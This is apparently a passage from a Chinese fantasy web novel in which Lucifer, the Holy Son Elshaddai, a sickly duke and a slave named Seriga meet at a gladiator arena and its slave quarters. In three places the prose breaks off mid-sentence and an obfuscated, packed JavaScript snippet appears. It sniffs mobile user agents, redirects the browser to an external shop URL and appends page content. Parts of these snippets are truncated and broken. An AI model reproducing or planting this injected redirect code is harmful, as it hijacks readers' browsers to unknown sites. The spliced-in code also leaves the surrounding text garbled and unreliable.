或者更进一步,折腾一下他,给他找点麻烦,也很是容易。 还是王城好,人多机会也多啊。 路西法一扫阴霾,心情愉悦地回了贵宾室。 至于伊勒沙代? 他其实一点儿都不担心他。 虚弱公爵能带走他,那只能说明他想跟着他走,去他那家里得到点什么,否则,他完全不可能带走伊勒沙代。 只要伊勒沙代不愿意,这世上就会冒出千百个帮他阻拦虚弱公爵的人。 这兴许就是人类常说的“气运”或者“天命”了。 只是人类惧怕顺从它,路西法却不然。 * 路西法走后,那虚弱公爵便眼睛发亮地盯着伊勒沙代,一旁的斗兽场奴仆却苦了脸。 其实他方才来拦下路西法,也有暗暗期望路西法与公爵争起来互相加价的意思。 谁知现在,公爵竟然直接放手了? 原定的价格自然不会再给,一切都化作泡影了! 他看向伊勒沙代的表情也带上不善,他不敢埋怨路西法或是公爵,便只能将怒气怨怼都投射到伊勒沙代身上。 好似他的一切不幸都是因为他而起。 匆匆赶到的塞里加见到这一幕,当即就挡在了伊勒沙代身前。 他在这里待过,自然最清楚,这些奴仆平时自诩高他们奴隶一等,但偏偏也被来来往往的贵客轻视鄙夷呼来喝去,心理越发不平衡,于是对待他们祭山族人更是处处为难。 他刚刚虽然还没走近,但公爵与路西法的话他都听了分明,此刻他便开口对公爵道:“公爵大人,我想您是误会了,这位朋友并非谁的奴隶,没有人有资格决定他的去留,您还是去追上那个人问个清楚,别白白浪费了金钱时间。” 公爵这才舍得看他,只一眼就眉头大皱:“怎么又是你?你不是跟着狄曼图雅那个死丫头走了吗?怎么,她厌倦你,把你丢回来了?” 说到这里,他的表情里多了几分幸灾乐祸,病殃殃的脸色也多了几分红润:“当初我让你跟我走,我多慧眼识珠,必然不会埋没你的才能,你偏偏鬼迷心窍,就要跟着那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091907|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛都没长齐的小丫头,这些年就只陪着她玩过家家去了吧?小孩子哪有定数,一天想一出是一出的,亲王也未必会重用你,瞧瞧,现在又流落回来了吧?真惨呐!” 他一见着塞里加就滔滔不绝,说到激动处连一开始看上的伊勒沙代都抛诸脑后,兴奋得眉飞色舞,连刚刚还有意端着的贵族的礼仪姿态都忘了个干净:“不过呢,我看你现在也没胖没丑,这样,你还跟着我走,怎么样?我这么大度,不计前嫌,你是不是感动死了?” 公爵太过激动,到最后都不禁猛烈咳嗽起来,美貌侍从见怪不怪地从怀里掏出一个小白瓷瓶,拔开盖子倒出一丸药,公爵接过后看也不看,眼都不眨地吞了下去,面色顿时好了许多。 他缓了过来便迫不及待地又看向塞里加:“想好了吗?想好了现在就跟着我走。”他这时候又猛然回想起了伊勒沙代的存在,冲他一笑:“你也一样。” 塞里加想也不想,冷漠回道:“我和小姐的关系不必你来挑拨,我永远忠于小姐。” 公爵像是听到了什么惊天动地的笑话,指着他笑得前仰后合,夸张得差点又背过气去,随后他好不容易才止住,故作神秘地开口:“塞里加啊,我小时候也在圣殿待过,他们那些什么相面看命的本事,我也学了个七七八八,不说多深入,超过那群眼睛长在头顶上,水平低过大峡谷的祭祀却是没什么问题,我就和你直说,不出一年,你就得跟她决裂,你信不信?” 塞里加听他这话,脸色更差,忍不住出言讥讽:“公爵大人,你只是八岁那年在圣殿待了七天而已,其中大多数时间还是在爬树翻墙,你连圣殿的内部结构都没看清过吧?” 公爵不以为忤,还笑嘻嘻道:“我是谁啊,就那点东西,学个三天都够了,也就那帮子蠢蛋才需要一直看一直练,就这还学不会。” “大胆!你怎敢在此大放厥词!” 一声厉喝传来,众人循声望去,却见一行白衣人站在楼梯处,除却强压着不耐的利安维亚外,其他人都是一副被冒犯到的怒色。 一看就是被指名道姓追着骂蠢的圣殿祭祀们。 64. 莫涅弋南 公爵毫无背后骂人被抓包的心虚,理直气壮地满面鄙夷:“我说实话才会有人受不了,蠢钝不堪就算了,还连句实话都听不得?” 双方间气氛霎时剑拔弩张。 圣殿祭祀们从来都是被众人追捧尊敬的对象,到哪儿都是座上宾,何曾被这样当众羞辱过? 顿时一个个都脸色铁青,看着公爵的目光极为不善。 若非他身份尊贵,只怕他们此刻已经发难。 而在他们之中,利安维亚一直保持着事不关己的不耐烦态度,直到看见一旁作壁上观的伊勒沙代,这才出声:“你怎么在这里?” 随即,他想到什么似的,连忙问道:“那他也来王城了?” 这话问得云山雾罩,伊勒沙代却知道他在问谁。 “他大约不想见你。”伊勒沙代温声道。 利安维亚一愣,别过脸,语气生硬:“我没有说我想见他,少自作多情。” 伊勒沙代好脾气地笑了笑,不以为意。 真是…… 物似主人形。 不过他不在意,却有的是人在意。 公爵几乎要跳起来骂人:“刚刚差点漏掉你,利安维亚,你也不是什么好东西,眼睛就差长头顶上了,你看看你从头到脚哪有供奉创世神的圣殿祭祀的样子?你这傲慢的态度还不如说是撒旦的门徒!” 他没利安维亚高,又不幸站得也比他低,只能仰着头骂他。 但气势上没输。 这下利安维亚也维持不住漠不关心的表情,看着他的眼神像在看什么脏东西。 公爵扭过头看向伊勒沙代,怒其不争:“你看他这什么态度,居然还能忍?来,你骂他两句,别怕,有事我给你兜着。” 利安维亚冷漠道:“莫涅弋南,看来上次杜维德安陛下给你的教训还不够,才会让你还敢来挑衅圣殿。” 莫涅弋南公爵面皮一紧,像是想到了什么可怕的回忆。 不过他害怕也怕得有限,仍然强硬回嘴:“你还敢提?我是杜维德安陛下的堂弟,血浓于水,打断骨头连着筋的亲戚,要不是你品行低劣背后告黑状,我会受罚?好个圣殿祭祀,我要让所有人都知道,你们就是一群阴险小人!” 这话说得太重,圣殿祭祀们再顾忌他身份也按捺不住,纷纷你一言我一语地出口骂他。 “住口!你别以为你是公爵就能污蔑圣殿祭祀!” “莫涅弋南,你等着吧!你现在说的这些冒犯狂言,我们都会如实告诉杜维德安陛下!” …… 莫涅弋南不甘示弱,谁骂他他骂谁,一口气撑不上来就吃颗药再战,一时间,这贵宾层吵得宛如集市街头。 但更可怕的是,一群祭祀竟然骂不过莫涅弋南一个人。 除了冷着脸偶尔说话的利安维亚能让他噎一噎以外,其他圣殿祭祀被他骂得面红耳赤,气喘吁吁,无言以对。 最终他们败下阵来,放下狠话狼狈离场。 莫涅弋南对着他们的背影高声道:“记得快点回去找你们那个鬼气森森的大祭司告状啊,你们最好今晚就下个咒把我咒死,不然下次我见着你们还骂,一群废物!” 他太过兴奋,整个人脸上都泛着不正常的潮红,待到圣殿祭祀们的身影全都消失,他转头看向伊勒沙代,张口正要说什么,却两眼一翻,竟是直接晕了过去。 塞里加一惊,连忙上前查看,但莫涅弋南那美貌侍从却侧身挡过他的视线,习以为常地掏出另一个瓷瓶,动作娴熟地从里面倒出颗药塞进莫涅弋南嘴里。 不多时,莫涅弋南就悠悠醒转。 “……咳咳,奇星,还是你好,你就会接住我,不让我摔地上,要是换作吉因斯,他肯定就不会管我了。”莫涅弋南嘟囔了一句,却没起身。 名叫奇星的美貌侍从冷冰冰地开口:“你若不天天招猫逗狗,撩闲惹事,他也不会看不惯你。” “我这叫替天行道。”莫涅弋南反驳。 “圣殿代表天,你是逆天而行。” “呸,他们也配!扯张大旗真以为自己是个东西了!” 两人旁若无人地斗嘴,看上去十分没有主仆的气场。 趁此机会,塞里加偷偷对伊勒沙代使了个眼色,示意他跟着自己一起离开。 贵宾层大多都是有权有势有特殊嗜好的权贵,最是欺软怕硬,最会见风使舵,刚才莫涅弋南和圣殿祭祀骂作一团,他们听得真切也不敢出来招眼,现在一方败北一方倒下,他们大概率就会趁机出来退场远离是非之地。 塞里加自是知道伊勒沙代这相貌气质有多引人注目,留在这里恐怕还会引来更多事端,还不如早点离开。 奈何莫涅弋南像是后脑勺长了眼睛,出声道:“跑什么呀?我好歹也是替你那位朋友出头了,你们就忍心这么把我这个病弱之人丢下?要是我在这里出点什么事,你们不得内疚一辈子。” 奇星低下头拍了他一巴掌:“少说咒自己的话。” 莫涅弋南哼哼道:“说了就说了,命数没到死不了,命数到了说尽好话也得死,没差。” 奇星思考片刻,伸手,直接把他的上下嘴皮子捏了起来。 莫涅弋南憋红了脸,拼命挣扎,但终究不是他的对手。 奇星抬头看向伊勒沙代二人,礼貌又冷淡地开口:“还请二位帮忙,与我一起送我家主人回休息室。” 塞里加颇为头疼,他看向伊勒沙代,只见他颔首道:“方才莫涅弋南公爵确是帮了我,于情于理,我也不能旁观。” 塞里加心下着急,拽了拽他衣袖,压低嗓音用气声快速道:“莫涅弋南最会胡搅蛮缠,你别理他,他就是讨厌圣殿而已。” 不管谁站在圣殿的对立面,莫涅弋南都会跟他站在一起。 伊勒沙代对他笑笑:“无妨,你若有事可以先去忙。” 塞里加还是想留在这儿保护他,但是伊勒沙代下一刻也学他用气声道:“还请替我先去奴隶园看看园中情形。” 塞里加一震,他想到,场主可能会隐瞒园中情形,只放几人出来,他确实该先暗中去看看。 思及此,他也不再犹豫,匆匆嘱咐伊勒沙代几句就离开。 伊勒沙代则上前,主动扶起了莫涅弋南。 奇星松开了捏着莫涅弋南的手,莫涅弋南连忙喘了几口气。 他的休息室从外观来看与旁的休息室并无不同,但走进去之后才能发现别有洞天。 莫涅弋南似乎是这里的常客,早就把这间休息室包下作为自己的长期住处,因此将里面按照自己的喜好改造了一番。 要说风格,似乎没有风格。 里面只有各种一看就华贵豪奢的摆件和陈设,金银玉器应有尽有,就连座椅扶手上都镶了宝石。 很难说舒不舒服,只能说一看就价值千金。 奇星带着伊勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫涅弋南缓了口气,又从瓷瓶里倒出一颗药吞下,然后看向一直保持着温和微笑的伊勒沙代,调整姿势坐起来,朝他探出身:“你叫什么名字?” “伊勒沙代。” 莫涅弋南恍然大悟:“最近城中风头正盛的那个……神医?” “不敢。”伊勒沙代平静道,“我只是比旁人会的多一点而已。” 莫涅弋南摆摆手:“那你也太谦虚了,你不知道现在城中都说你能生死人肉白骨,夸得是天上有地下无,这怎么能只算多一点?” “大家抬爱了。”伊勒沙代不轻不重回道。 莫涅弋南笑了一阵,竟是费劲地下了躺椅,一点点挪着坐到他身旁。 “听你那些传闻,倒让我想起另外的一桩事来。” 他靠着伊勒沙代坐下,语调悠悠。 “听说,前段时间,莫格加族人不知为何遭了疫病,险些全族覆灭,幸得创世神垂怜,天降一位神医,将他们全族都救了回来……” 莫涅弋南偏过头,笑容满面,似是单纯地好奇。 “那位神医,也是你吧? “你到王城来,有什么目的? “说说看吧,我不会告诉其他人的,伊勒沙代……圣子大人。” 一把冰凉的匕首不知何时抵在了伊勒沙代喉间,雪亮刃面映出他的脖颈,与奇星面无表情的侧脸。 65. 所作所为 莫涅弋南撑着下巴,笑眯眯地等待伊勒沙代的回答。 他本以为伊勒沙代会大惊失色,至少也会露出些异样的表情,却没想到,他还是那么镇静,甚至那画在脸上似的微笑都没有变过一丝弧度。 真是有意思。 这位“圣子”比他想象中的更不像人。 “我为何而来,对公爵来说很重要吗?”伊勒沙代微笑着反问道。 莫涅弋南稀奇地看他一眼:“当然重要了,毕竟你也是祭山族人,万一你是来王城大开杀戒的,以我这贵重的身份,岂不是很容易死?” “看不出来原来公爵这么惜命呢。” 莫涅弋南很没形象地掏掏耳朵:“废话,能活着谁不想活着,谁又想死了?特别像我这种命好投胎到皇室的,锦衣玉食,前呼后拥,都还没享受够人生,当然不想就这么死了。” 伊勒沙代温声道:“公爵很清楚我不是来取谁性命的。” 不然就不会只是让奇星控制住他,而是一开始就会直接杀了他。 “哎呀,圣子大人,你可真聪明。”莫涅弋南装模作样地拍拍手,“还是我那些堂兄堂弟表姐表妹的小看你了,不然也不会派出一波又一波杀手,却连个回信的都没有。” 一开始权贵们也没有直接下杀手,想的也只是使点坏把伊勒沙代赶出去便罢。 奈何他们发现,无论想使什么坏,到伊勒沙代身上都会通通失效,甚至还会反弹到他们自己身上。 事情的走向越来越邪门,他们一边恼怒一边又惶恐。 不少人想到了从前聂厄曼还在圣殿时的那个预言。 难道,预言中的人,就是伊勒沙代? 一想到自己曾经的所作所为,权贵们都难免心生恐惧。 正如莫涅弋南所说,身份越贵重,越怕死,所以他们想先下手为强。 但,没有一个人得手。 甚至派出去的杀手也没有一个人回来。 故而方才莫涅弋南看到塞里加那么紧张伊勒沙代,心里只觉搞笑。 伊勒沙代这人从外表来看毫无攻击性,甚至可以说是温柔可亲,但谁要是真信了他可欺,那只能说死得不冤。 不知自己早在权贵间留下堪比恶鬼邪祟的声名印象的伊勒沙代还笑容温柔:“今日公爵之所以到这里,便是为我来的,又何必还与我绕圈子试探呢?” 莫涅弋南咂咂嘴,跟聪明人说话就是难受,就这么会儿,人家都把他看得透透的了,气定神闲,丝毫不惧。 这么看,支走塞里加也是他故意为之了。 他那帮子亲戚真没法跟人家比。 死得不冤,死得不冤。 莫涅弋南呵呵直笑:“你说话一直这么直白?就不能委婉点吗?” “我赶时间。”伊勒沙代带着微笑不客气道,顺便使唤奇星,“有劳,请取纸笔来。” 奇星看向莫涅弋南,莫涅弋南嗔怪地瞪他:“没听见圣子大人的吩咐吗?还不快去,真是个不灵光的蠢蛋。” 奇星冷漠地开口:“是没想到某些人翻脸比翻书还快,一张脸上不知道叠了多少层脸皮。” 他收了匕首,转身又走向另一个依旧是通体金灿灿的柜子。 莫涅弋南转向伊勒沙代:“方才那个人,我在王城中也没有见过他,你和他又是什么关系呀?” 他虽是在问,却表情暧昧,转念一想,试探道:“我看你跟他应该不是主仆关系,莫非……是情人?” 提到路西法,伊勒沙代眸光微动,终于不再是那副画上去似的表情,而是颇见羞赧。 “我来王城,就是因为他。” 被路西菲尔强行带来……怎么不算因为他来的呢? 莫涅弋南暗中撇嘴,他的消息网没打探出伊勒沙代到王城来的真正原因,始终让他耿耿于怀,百般思量其中是否生出什么不为人知的变故,伊勒沙代又将在王城中掀起怎样的风浪。 没想到只是为了起矛盾的情人。 这理由让他心头如同梗了什么东西,难受得慌。 奇星正巧拿着纸笔回来,看见他这模样,对着伊勒沙代越发警惕。 伊勒沙代对这主仆二人的反应置若罔闻,提笔在纸上飞快写下几行字,然后便递给奇星:“按这上面说的做,不出一月,公爵的晕厥头疼之症就可以尽消,只是夜半多噩梦之事,我不能帮你。” 奇星惊愕地看着他。 ——除却公爵府的人,没人知道莫涅弋南近日来时常昏厥头疼,都只以为他在人前的模样只是因为他从小就体弱多病受不得惊。 而公爵府的人绝不可能往外传。 至于夜半多噩梦…… 那是莫涅弋南打小就有的病症,药石无医。 就连大祭司都束手无策。 但这人说什么—— 他不是没办法,他只是不能这么做。 奇星心中惊疑不定,他忍不住上前一步质问道:“为什么不能?都说医者仁心,公爵这几十年始终饱受不得安枕之苦,体弱易病,你为什么不能治好他?” 伊勒沙代仍是淡漠的模样,看向他时缓缓露出怜悯的笑:“我以为,你知道为什么的。你看,公爵自己也知道的。” 奇星猛然转头,果然见莫涅弋南垂下眼,毫不惊讶,叹道:“奇星,别为难圣子大人,我已经活得很好了。” “是呀,在这世道间,活着就已经是圣父的恩赐了呢。”伊勒沙代笑眯眯道。 “你——” “奇星,回去把方子交给吉因斯,让他看着办。”莫涅弋南低声喝道。 他声音不高,却一下就制住了奇星,奇星眉头紧皱,不甘心地看了伊勒沙代一眼,还是拿着方子离开。 待他走远,莫涅弋南长出一口气,无奈道:“他是个好孩子,就是不幸跟了我这个烂人,只能帮我作恶,圣子大人,请别跟他计较,有什么冤业,算在我身上便好。”他苦笑一声,“我也不差这点了。” “天道公允,奖善惩恶,无有遗漏。”伊勒沙代只淡然道,不置可否。 莫涅弋南叹口气,不在此事上多说,只问起别的:“多谢您出手相救,这报酬方面,您随意开口就好,我相信您不会提出我办不到的要求。” 他说着相信,却是又扣一顶高帽子给伊勒沙代。 伊勒沙代只当听不出他的意思,微笑道:“正好有一桩事要麻烦公爵。” 莫涅弋南打起精神,颔首道:“请说。” * 斗兽场上已经清理完毕,身着薄纱的美貌司仪上台笑吟吟地报着上一场的结果,包括上一场收获了多少打赏,如果打赏多的金主愿意,他们将会报上姓名或是房间号。 但打赏最多的路西法没那个出风头的意愿,这个环节也就无趣地结束。 众人只能在暗中好奇猜测,那笔数目巨大的打赏究竟出自于何人之手。 竟然让皇室中以骄奢豪富著称的莫涅弋南公爵都落到了第二去。 报幕结束之后,不多时,路西法这间休息室的门就被轻轻敲响。 一道黑影动了动,去将房门打开,奴仆讨好的脸出现在外面。 “大人,您要的那个奴隶已经清理好了,您看……需要现在给您带过来吗?” 路西法懒懒地靠在软垫上,头也不回地摆摆手:“带来吧。” 奴仆满口应承,又吹捧了他几句,这才离开。 没到一刻,休息室的房门又被敲响。 还挺快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091909|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 路西法支使黑影又去开了门。 门后还是一张讨好的脸。 但不是奴仆。 是莫涅弋南。 他常年抱病,身形消瘦,黑影将门打开了一小半,他就灵活地挤了进来。 “你好你好,你还记得我吧?我是刚才在入口那儿拦着你要跟你换人的那个,我叫莫涅弋南,敢问您尊姓大名?” 他嘴皮子极溜,一连串话说下来也不带磕绊,一边说着还一边凑近路西法,自来熟地往他躺椅不远处的小杌子上一坐,也不嫌憋屈,一双眼亮晶晶地看着路西法,不着痕迹地将他从上到下打量个遍。 方才匆匆一眼,又忙着争强好胜,没发现,这人外形未免也太好了吧? 虽然看不清脸,但这身材比例简直过于完美,可以说是按照最标准的规格长的。 人类真的能长成这么标准的样子吗? 莫涅弋南冒了些冷汗,突然觉得自己很是唐突。 也是,那位圣子的爱人,能是什么普通人类吗? 甚至说不定是哪位高阶天使…… 哦,高阶天使应该不会主动到斗兽场来看血腥表演的。 不行,不能猜了,再猜下去很危险了。 莫涅弋南强制止住自己脑子里一个接一个的念头,抬头对路西法笑道:“方才我眼瘸,没认出来您,多有冒犯,还望恕罪,这个……人我给您送回来了……” “道歉我收了,人你带走吧。”路西法冷淡地打断了他。 莫涅弋南打好的腹稿被他搅得一乱,他扯出个难看的笑容:“这,这不合适吧?” 现在给他十个胆子他也不敢收留圣子啊! 圣子能救他的命,也能轻易要了他的命。 他是身份贵重,但取他性命可不比取贱民性命难。 “合适,很合适,不是你先说愿意和我换么?我既然同意了,当然不会后悔。”路西法忽地坐起身,再靠向莫涅弋南那一侧。 莫涅弋南嗅到一股似被烈火焚烧过的花的香味越发鲜明浓郁,下意识地一抖,身体比脑子先反应过来地往后躲。 总觉得,嗅到这股香气,他离死也不远了。 “躲什么?我又不会杀了你。”路西法的声音似远似近地在他耳边响起。 那句要人性命的话宛如戏言,轻轻飘飘,但在莫涅弋南耳中,就像刮骨寒刀。 “您威仪深重,我胆小身弱,怕着呢。”莫涅弋南绞尽脑汁胡诌。 “哦?伊勒沙代给你的好处,就是帮你治好这积弱之症吗?” “不是……”莫涅弋南意识昏沉,眼神空洞,下意识地顺着路西法的询问说出实情,“他是准备帮我……” “何不直接问我呢?路西。” 休息室房门大开,挡在门口的黑影霎时如强光之下的阴影般消散无踪。 伊勒沙代款款进来,顺手带上了休息室的门。 路西法猛地站起身,再看到这张熟悉的俊美温柔的脸,他心里莫名地有点气虚。 可惜来者不给他逃避的机会。 “躲什么?我又不会杀了你。” 如出一辙的话从圣子口中说出,和魔王是截然不同的效果。 路西法眼皮一跳,仍冷静反问:“你待如何?” 伊勒沙代看着他的眉眼,眸光沉沉,须臾,却轻叹道:“路西,我只是担心你的身体,想再来为你看看罢了,你又何必避我如洪水猛兽?” 当然是因为心虚气短了。 纵使伊勒沙代坦坦荡荡,但他路西法心里有鬼啊。 “再者……”伊勒沙代一步步靠近他。 “你难道不想知道,你没有记忆的这段时间,你的所作所为吗?” 66. 所求为何 路西法往后退了一步,严肃道:“正邪有别,我们还是保持距离比较好。” 他说话时太义正辞严,活像他才是那个要被邪魔外道勾|引的正派人士。 而伊勒沙代只是沉默了一瞬,便黯然神伤道:“你是还在记恨那天的事么?但那时候你记忆不全,我只是想着,若在那时就和你交……” 他话未说完,路西法就冲上前捂住了他的嘴,笑得僵硬又咬牙切齿:“够了,不要再说了。” 他不要脸他还要呢! 伊勒沙代眨了眨眼,表情十分无辜,还带着几分委屈。 莫涅弋南目瞪口呆地看看这个,又瞧瞧那个,简直被这些生猛的言论冲击得回不过神来。 虽然圣子这位情人看上去对他很是不满,连个好脸色也没给过,但是看他们肢体动作这么娴熟亲近,恐怕平日里也不是那种发乎情止于礼的关系。 而且他看上去,也不像是被强迫的…… 真讨厌对方,哪还会理他? 不过他也知道,这热闹不好看,他识相地提出告辞,离开之前忽地想起一事,便问道:“二位,先停一下打情骂俏。下个月我那堂兄要举办一场宴会,皇室权贵都会到场,你们需要请柬吗?” 莫涅弋南甚至不谦虚一句他会尽力拿到。 以他的身份,想搞到两张请柬简直不费吹灰之力。 可惜这两位都没心情理会他。 莫涅弋南闭嘴走了,打算回去还是准备着。 他走后,路西法嘲讽道:“你当真要去?里面如果有一百个人,那起码九十九个都想要你的命。” “剩下那个不想要的是你吗?”伊勒沙代维持着无害的表情反问道。 路西法冷笑一声:“耶和华真该把自恋也列入罪恶。” 伊勒沙代看着他,笑起来:“那我就可以来地狱陪你了?” 路西法被他这说一句顶一句地回得有些烦躁,沉下脸冷道:“你说话这么放肆,就不怕我告诉米迦勒?” 伊勒沙代只是笑着看着他。 路西法随即便意识到了这话有点蠢。 且不说米迦勒对他们两个之间的信任程度本就有差异,就说上次那件事,刚刚好让米迦勒撞个正着,他现在怎么可能还信路西法说圣子故意暧昧? 他八成会认定这是恶魔的推脱之词。 路西法这时候还真怀念起耶和华了。 要是祂没沉眠,圣子哪敢这么肆无忌惮?祂也不会容忍。 肯定一早就处置他了。 路西法气闷,现在隐隐有种杀到水晶天神殿把耶和华摇起来的冲动。 “你究竟想要什么?”路西法探究地看向伊勒沙代,“从你被米迦勒唤醒开始,你一直都在一步步靠近我。若说是为旧情,但我们的前尘旧事可没有半点值得怀念的地方。而且,最为重要的是,伊勒沙代,你明知道,你在做的事是与耶和华的意愿相悖的。” 若是他日耶和华苏醒,察觉他所作所为,必然震怒。 路西法不信耶和华会对他手下留情。 但伊勒沙代本人似乎毫不在意。 “我想要的?”伊勒沙代重复了一遍,笑道,“我想要你看向我的时候,不会联想起圣父。 “可以吗?” * 伊勒沙代到奴隶园时,塞里加已经等了他很久。 但他此刻无暇顾及伊勒沙代。 他怀里抱着一个年岁小的祭山族奴隶,正愤怒地盯着他面前的方才还在场上春风得意的场主。 场主如今也没了笑,满面寒霜。 他看着不过四十许,从头到脚都透着过惯享乐日子的富态,只有一双吊稍窄眼显出精明凶悍的算计。 他身前有几个侍卫护着,他们看向塞里加的神情极为不善,场主本人却只有满脸的轻蔑和不耐烦。 仿佛塞里加和他怀里的小孩都不过是叫人厌恶的阴沟老鼠。 他随意就可以碾死的玩意儿。 一旁的奴隶园主管起到了充当他喉舌的作用,怒骂道:“塞里加,别以为你跟了狄曼图雅小姐就算是个什么人物了,你还是个下贱的奴隶!就凭你,也想到这儿来耀武扬威逞能?我告诉你,不可能!就算是亲王来了,也得给我们场主面子!” 塞里加看也不看他,只对场主说:“我要带他走。” “没门儿!”主管跳脚大骂,“他进了奴隶园,就是奴隶园的人,死也得死在奴隶园!” “他年纪太小,不可能上斗兽场;脸上有一大片胎记,也不可能入哪位权贵的眼,现在还身患重病,让我带走他对你们来说毫无损害!”塞里加强压着怒火,试图讲道理,“我会按健康奴隶的市价付给你们的。” 主管还要指着他鼻子骂什么难听话,却见场主忽地笑了。 这笑里不带嘲讽,只像是听见了什么笑话一般。 “你忘了?律法规定,奴隶不得蓄养奴隶。” 他只轻飘飘一句话,就让塞里加勃然变色,看着他的双目几乎要喷火。 “塞里加,我真不明白,你为什么恨我?”场主漫不经心地转了转大拇指上硕大的蓝宝石扳指,“你该感谢我,若非我把你从那群养殖贩子手里买走,你早就不知道会被卖到哪里去了,还能长得大?且不说这个,就说没有我的培养,你怎么能遇上狄曼图雅小姐?没有她,现在,你也该和莫涅弋南公爵府上那些个奴隶一样,当牛做马,担心着哪天也是被拖到乱葬岗喂狗的下场,而不是还能在这里冲我不客气。” 塞里加脸色极为难看,场主这番强词夺理的强盗言论让他额上青筋暴起,牙齿咬得咔咔作响。 若有机会,伊勒沙代不怀疑他会冲上去把场主撕成两半。 但很明显是没有的。 场主知道他的能耐,所以那两个身强力壮的侍卫不错眼地盯着他,手也按在刀柄上,只要他一动,便会拔刀出鞘。 就算难对付塞里加,打死那小孩却不是问题。 也是重创他。 塞里加怀中的小孩害怕得哭了起来,但他嗓子似乎出了问题,嘶哑难听,哭也哭不出声,像某种小兽一般。 塞里加被他的哭声一震,猛地回过神来,意识到现在不是跟场主争个高下的时候。 要想带走这小孩,他不能不通过场 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场主完全就是在戏耍他,他根本没有想过要放走这个小孩。 果不其然,只听场主道:“但是呢,你也太天真了,活着没用,死了难道也没用吗?” 他看向塞里加怀中的小孩,恶劣笑道:“小孩,你没有告诉他,那些祭山族人的尸体,我们是怎么充分使用的吗?” 小孩听到这话,霎时间瑟瑟发抖,从破烂的嗓子里冲出断断续续的可怕嚎叫声。 塞里加连忙把他搂得更紧,安抚道:“没事,没事,你很安全。” 可小孩沉浸在极为恐怖的回忆里,塞里加压根控制不住他。 场主见状,笑得分外开怀。 伊勒沙代看够了戏,上前一步,往那小孩脖子上一按,也不见他如何用力,那小孩的叫声便戛然而止,立刻两眼一翻晕了过去。 塞里加这才注意到他,低声道谢,又往他身后看了看,却没见到他预想中的人。 “他有事,没来。”伊勒沙代温声道。 他没说,路西法在这里可未必是好事。 以路西法的性情,他最起码都会先煽风点火一番,说不定塞里加就要被他刺激得暴起杀人了。 于接下来的所有事都不利。 伊勒沙代看向场主,那两个侍卫连忙也警惕的打量他,他却只做没看见,对场主道:“现在可以去看那些病患了吗?” 场主从方才他出现起就在观察他,待不出意料地验证了他左耳无环右耳双环的特征,吊稍眼里飞快地划过一丝鄙夷。 又是祭山族人,低贱的祭山族人就是喜欢折腾出讨人嫌的是是非非来。 他对主管一扬下巴,主管会意地开口,只是也不客气:“跟我来吧。” 走之前,他还回头狠狠瞪了塞里加一眼,冷哼一声。 塞里加担忧地看着伊勒沙代,伊勒沙代几不可察地对他摇摇头。 不必担心,这几个人,不是他的对手。 他的对手,现在还在贵宾室苦恼呢。 67. 命运节点 奴隶园中的情况说简单也简单,说复杂也复杂。 简单在于他们的病症伊勒沙代都有把握能治好。 复杂在于场主大概率不会配合他的治疗方案。 塞里加这个素昧平生的局外人比场主在意他们的生死得多,他一见伊勒沙代出来,就急忙问他:“怎么样,有办法吗?” 伊勒沙代点点头,但看向场主时笑容多了几分冷意。 “场主应该比我清楚他们需要什么样的环境。” 应该是安静的,最起码应该是干净的。 而不是肮脏腥臭,多人挤在一起的。 那几个当红的斗兽场奴隶原本不是这待遇,好歹也能住上单间,然而在他们患病发疯无法上场以后,场主就毫不留情地把他们丢回了大通铺。 对他来说,无用之人就没必要浪费资源了。 现在听闻伊勒沙代这么说,他也就是不耐烦道:“你只用告诉我,你还能不能让他们跟以前一样继续上场?要是能,那就听你的。” 不能的话也就没必要治了。 他没说出来,但在场的人都明白他的意思。 无情得明明白白。 塞里加闭了闭眼,心头拢上越发浓重的悲哀。 他们每个祭山族人,在这些莱洛温权贵眼里,从来不算是个人。 哪怕是路边的猫儿狗儿,也未必会如他们一般被轻贱虐待。 他一定要改变这一切。 哪怕,哪怕创世神谕令中的那位人间的君王,还未出现。 他像是下定了什么决心。 另一边,伊勒沙代还在与场主交涉。 他很清楚场主压根看不上他,之所以请他也不过是因为王城里旁的医匠不愿意自降身价来为奴隶诊治罢了。 所以说,对于场主这种人,和他讲什么情面人性,那都是虚的,他只会嗤之以鼻。 还是得讲利益。 他不同意塞里加带走那小孩,不过是因为塞里加向来是个刺头,偏偏又有各种机遇,让他始终不能对他下死手整治,这就叫自诩身份高贵的他心里憋着口气,如今好不容易逮着一个让塞里加痛心难过的机会,这份痛快远胜过一个病弱小奴隶的价值,所以他宁愿舍下金钱也要用他折磨塞里加。 伊勒沙代索性直言:“可以是可以,但分两种,第一种方案,三天内能治好,不过日后会复发;第二种,需要三个月,日后不会复发。场主,请选吧。” “第一种。”场主想也不想就回答。 伊勒沙代笑了笑:“好。但我需要带走这个小孩。” 他伸手一指塞里加怀中的小孩,场主眯了眯眼,像在考虑值不值得。 